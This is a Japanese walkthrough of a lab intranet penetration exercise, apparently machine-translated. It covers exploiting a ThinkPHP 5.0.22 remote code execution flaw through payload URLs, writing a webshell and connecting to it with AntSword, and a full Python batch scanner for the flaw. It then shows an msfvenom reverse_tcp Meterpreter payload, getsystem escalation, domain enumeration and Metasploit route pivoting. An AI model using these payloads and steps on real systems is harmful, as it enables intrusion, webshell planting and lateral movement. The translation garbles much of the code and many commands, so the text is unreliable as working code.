0x00はじめに
最も重要なアイデアは、イントラネット浸透のプロセスです。今回はイントラネットの浸透に多くのホストはありませんが、主に自分のイントラネット浸透を訓練することです。
0x01環境構築
射撃範囲:
Win7(内部):192.168.138.136
Win7(外部):192.168.10.25
ドメインホスト:
Win2008:192.168.138.138
0x03 Webサーバーの普及
nmapプローブポート
NMAP -T4 -SC -SV 192.168.10.25
ここでは、80、135、139、445などのいくつかのメインポートを見ることができます。まず、IPCとSMBを含むポイントを考えることができます。
ポート80を開き、Webアドレスにアクセスしようとしました。私は年をとっていますが、それでもバージョン5.xなので、まだ多くの穴があります。
特定のバージョンを決定するために、最初にエラーを表示して表示します。ここのバージョンは5.0.22であることがわかりました。正しく覚えていれば、ここにTPリモートコマンドの実行の脆弱性があります。
脆弱性の説明:ThinkPhpは、フレームワーク内のコア要求クラスのメソッドメソッドのフォームリクエスト偽造を提供するため、この関数は$ _POST ['_ Method']を使用して実際のリクエストメソッドを渡します。ただし、フレームワークではパラメーターが検証されないため、攻撃者は$ _POST ['_ Method']='__コンストラクト'を設定して、このクラスの変数を上書きします。攻撃者はこの方法を使用して、システムなどの関数名でフィルター変数を上書きします。パラメーターフィルタリングが内部的に実行されると、彼は任意のコマンドを実行します。
thinkphp getshell
ここで、最初にカリに関連する脆弱性があるかどうかを確認します
searchsploit thinkphp
ここでは、5.xリモート実行の脆弱性があることがわかります。このフォルダーに直接移動し、TXTにリストされているペイロードを確認します。
cd/usr/share/exploitdb/exploits/php/webapps
CAT 46150.TXT
対応するバージョンを見つけた後、次のペイロードをファズします。これはデータベース名のリストです。ここでは、データベース名がrootであることがわかります
192.168.10.25/thinkphp/public/?s=
このペイロードはデータベースのパスワードをリストする必要がありますが、ここには印刷されていません
192.168.10.25/thinkphp/public/?s=
これがphpinfoです
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=phpinfovars [1] [=1
パスして、現在の許可が管理者であるかどうかを確認します
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars「
IPの状況とデュアルネットワークカードを見ると、ドメイン環境がある可能性が高くなります
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0=systemvars [1]]
プロセスを見て、キリングソフトウェアがないことを見つけるので、殺すことなくウェブシェルを書いてみてください
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1]
ここで私はここに一文を書くようにしています。私は以前にチェックしたことがあるので、キリングソフトウェアやセキュリティ犬はいないので、ここで殺すことのない治療を行う必要はありません。
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] connect.php
dirを使用して、書き込みが成功しているかどうかを確認します
192.168.10.25/?s=index/think\app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars「
アリの剣に正常に接続します
thinkphpバッチ検出
ここで質問を考えました。 ThinkPhpには非常に多くのバージョンがあります。 Kaliに脆弱性ライブラリがない場合、検索エンジンでの検索が時間がかかりすぎる場合、ThinkPhpの脆弱性を検出するスクリプトはありますか?
ここで、ThinkPhpの脆弱性のバッチ検出のためのスクリプトを見つけました
#!/usr/bin/env python
# - * - coding: utf-8-* -
#name: thinkphpリモートコード検出
#説明: ThinkPhp5 5.0.22/5.1.29リモートコード実行の脆弱性
Reをインポートします
sysをインポートします
リクエストをインポートします
キューをインポートします
スレッドをインポートします
BS4からBeautifulSoupをインポートします
クラスThinkphp_rce(threading.thread):
def __init __(self、q):
threading.thread .__ init __(self)
self.q=q
def run(self):
self.q.empty():ではありません
url=self.q.get()
headers={'user-agent':'mozilla/5.0(macintosh; u; intel mac os x 10_6_8; en-us)applewebkit/534.50(khtml、geckoなど)バージョン/5.1サファリ/534.50'}
ペイロード=r '/?s=index/\ think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=phpinfovars [1] []=1'
vulnurl=url +ペイロード
try:
response=requests.get(vulnurl、headers=headers、timeout=3、verify=false、aople_redirects=false)
soup=beautifulsoup(respons.text、 'lxml')
str(soup.text):の「phpバージョン」の場合
print( '[+]リモートコード実行の脆弱性は、ターゲットアドレスに存在します')
print( '[ +]脆弱性URLアドレス' + vulnurl)
f1:としてopen( 'target.txt'、 'a')
f1.write(vulnurl+'\ n')
f1.close()
else:
print( '[ - ]ターゲットアドレスにリモートコード実行の脆弱性はありません')
:を除く
print( '[!]宛先アドレスは接続できません')
def urlget():
f:としてopen( 'url.txt'、 'r')
urls=f.readlines()
URLS:のTMPの場合
tmp:の「//」の場合
url=tmp.strip( '\ n')
urllist.append(url)
else:
url='http://'+tmp.strip( '\ n')
urllist.append(url)
return(urllist)
f.close()
__NAME __=='__ Main __' :の場合
print('''--------------------------------------------------------------------------------------------------------------------------
*:tdddによって作成されました
*詳細:https://T.ZSXQ.com/ai2rj6e
*My Heart :https://t.zsxq.com/a2fqfmn
________ _
| __ __ | | | (_)
| | __ | | ____ ___ ___ ___ _____ __ __ __ _
| |/_` |/__ |/_ \ | '_ `_ \ | || '_ \/_` |
| || (_ | ||(__ |(_)|| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
| _ | \ __、_ | \ ___ | \ ___/| _ | | _ | | _ | | _ || _ | | _ | | _ | \ __、|
__/|
| ___/
'' ')
urllist=[]
urlget()
スレッド=[]
threads_count=10
q=queue.queue()
urllist:のURLの場合
Q.put(url)
範囲のi(threads_count):
threads.append(thinkphp_rce(q))
スレッドのIの場合。
i.start()
スレッドのIの場合。
i.join()
ここでの方法は非常に単純です。URL.TXTで検出されるターゲットを配置し、脆弱性アドレスがある場合、Target.TXTテキストが自動的に生成され保存されます。
0x04イントラネット情報コレクション
ここでは、アリの剣のコマンドウィンドウを使用して、管理者の許可+デュアルネットワークカードであるマシンの情報を収集します
whoamiipconfig
ドメイン関連情報をご覧ください
Net ViewNet Config WorkStationNetユーザー /ドメイン
0x05イントラネット浸透
オンラインMSF
MSFはABC.EXEを生成します
MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.10.11 LPORT=4444 -F EXE ABC.EXE
アリの剣を使用してターゲットマシンにアップロードします
ここにはキリングソフトウェアがないため、殺すことなくそれを行う必要はありません。コマンドラインで実行するだけです。
MSFは監視を有効にし、オンラインにすることができます
情報収集
GetSystemを使用して、システムの権限を高めます。これは、射撃範囲であるため、GetSystemは正常に実行するのが簡単です。
権限を高めた後、Windows環境でシェルを取得して、ドメインに関する情報を収集し続けます。
CHCP 65001NETユーザー /ドメインネットグループ「ドメインコンピューター」 /ドメインネットグループ「ドメインコントローラー」 /ドメインネットグループ「ドメイン管理者」 /ドメイン
ターゲットマシンには「Sun」と呼ばれるドメイン環境があり、ドメイン制御は1つだけです。ここでは、ドメインコントロールIPを取得するためにドメインコントロールを直接pingします192.168.138.138
資格情報を取得
ここには、2つのネットワークセグメントがあるため、最初にルートを追加して後続の操作を容易にします
#MSF操作ルート追加192.168.138.0 255.255.255.0 2routeプリント#セッション操作Autoroute -S 192.168.0/24run autoroute -p
Recommended Comments